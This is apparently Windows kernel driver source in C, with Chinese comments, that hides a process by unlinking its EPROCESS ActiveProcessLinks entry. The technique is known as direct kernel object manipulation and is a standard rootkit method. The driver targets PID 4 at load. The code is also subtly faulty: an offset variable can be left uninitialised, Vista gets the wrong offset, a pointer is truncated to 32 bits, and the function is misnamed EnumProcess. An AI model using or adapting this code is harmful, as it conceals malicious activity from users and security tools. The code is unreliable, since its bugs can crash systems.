#define INITCODE code_seg("INIT") //定义区段,代码运行一次后就释放该函数占用的内存空间
#define PAGECODE code_seg("PAGE") //可以用于虚拟内存
#include <ntddk.h> //这里是C语言的头文件
#include "stdafx.h"
typedef enum WIN_VER_DETAIL {
WINDOWS_VERSION_NONE, // 0
WINDOWS_VERSION_2K,
WINDOWS_VERSION_XP,
WINDOWS_VERSION_2K3,
WINDOWS_VERSION_2K3_SP1_SP2,
WINDOWS_VERSION_VISTA_2008,
WINDOWS_VERSION_7_7600_UP,
WINDOWS_VERSION_7_7000
} WIN_VER_DETAIL;
WIN_VER_DETAIL WinVersion;
EXTERN_C NTSTATUS PsLookupProcessByProcessId(IN ULONG ulProcId, OUT PEPROCESS * pEProcess);
WIN_VER_DETAIL GetWindowsVersion()
{
RTL_OSVERSIONINFOEXW osverinfo;
if (WinVersion)
return WinVersion;
memset(&osverinfo,0,sizeof(RTL_OSVERSIONINFOEXW));
osverinfo.dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOEXW);
if (RtlGetVersion((RTL_OSVERSIONINFOW*)&osverinfo) != STATUS_SUCCESS){
return WINDOWS_VERSION_NONE;
}
// KdPrint(("[xxxxxxxx] OSVersion NT %d.%d:%d sp%d.%d\n",
// osverinfo.dwMajorVersion, osverinfo.dwMinorVersion, osverinfo.dwBuildNumber,
// osverinfo.wServicePackMajor, osverinfo.wServicePackMinor));
if (osverinfo.dwMajorVersion == 5 && osverinfo.dwMinorVersion == 0){
WinVersion = WINDOWS_VERSION_2K;
}
else if (osverinfo.dwMajorVersion == 5 && osverinfo.dwMinorVersion == 1){
WinVersion = WINDOWS_VERSION_XP;
}
else if (osverinfo.dwMajorVersion == 5 && osverinfo.dwMinorVersion == 2){
if (osverinfo.wServicePackMajor==0){
WinVersion = WINDOWS_VERSION_2K3;
}
else{
WinVersion = WINDOWS_VERSION_2K3_SP1_SP2;
}
}
else if (osverinfo.dwMajorVersion == 6 && osverinfo.dwMinorVersion == 0){
WinVersion = WINDOWS_VERSION_2K3_SP1_SP2;
}
else if (osverinfo.dwMajorVersion == 6 && osverinfo.dwMinorVersion == 1 && osverinfo.dwBuildNumber == 7000){
WinVersion = WINDOWS_VERSION_7_7000;
}
else if (osverinfo.dwMajorVersion == 6 && osverinfo.dwMinorVersion == 1 && osverinfo.dwBuildNumber >= 7600){
WinVersion = WINDOWS_VERSION_7_7600_UP;
}
return WinVersion;
}
#pragma PAGECODE /*指的代码运行后 就从内存释放掉*/
VOID DDK_UnLoad(IN PDRIVER_OBJECT pDriverObject)
{
KdPrint(("驱动成功被卸载..."));
}
VOID EnumProcess()
{
//先获取PID=4的进程对象
ULONG_PTR offset_eprocess_flink;//ULONG_PTR=无符号整形,如果在win7 64位下,那么他就是64位,如果是32位那么他就是32位
WIN_VER_DETAIL WinVer;
NTSTATUS status = STATUS_UNSUCCESSFUL;
PEPROCESS eprocess_process_object;
PLIST_ENTRY listentry_process_list;
PLIST_ENTRY first_process_list;//记录第一个
ULONG_PTR count=0;
//我们要在这里初始化一下偏移量
//EPROCESS 增加新的成员
WinVer = GetWindowsVersion();
switch(WinVer)
{
case WINDOWS_VERSION_XP:
offset_eprocess_flink = 0x88;
break;
case WINDOWS_VERSION_7_7600_UP:
case WINDOWS_VERSION_7_7000:
offset_eprocess_flink = 0xb8;
break;
case WINDOWS_VERSION_VISTA_2008:
offset_eprocess_flink = 0x0a0;
break;
case WINDOWS_VERSION_2K3_SP1_SP2:
offset_eprocess_flink = 0x98;
break;
case WINDOWS_VERSION_2K3:
offset_eprocess_flink = 0x088;
break;
}
//做一个简单的效验
if (!offset_eprocess_flink){
return;
}
status = PsLookupProcessByProcessId((ULONG)4, &eprocess_process_object);
if (NT_SUCCESS(status))
{
//ObDereferenceObject来减少引用计数
ObDereferenceObject(eprocess_process_object);
//相加得到ActiveProcessLinks
listentry_process_list = (PLIST_ENTRY)((ULONG)eprocess_process_object + offset_eprocess_flink);
//这里要判断一下内存是否可以访问,不然会蓝屏
//这里开始断链隐藏进程
RemoveEntryList(listentry_process_list);
}
}
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject,PUNICODE_STRING pString)//驱动入口函数
{
KdPrint(("驱动被加载!!!"));//调试的时候可以用这个函数调试
pDriverObject->DriverUnload=DDK_UnLoad;//设置卸载驱动函数
EnumProcess();
return (NTSTATUS)1;
}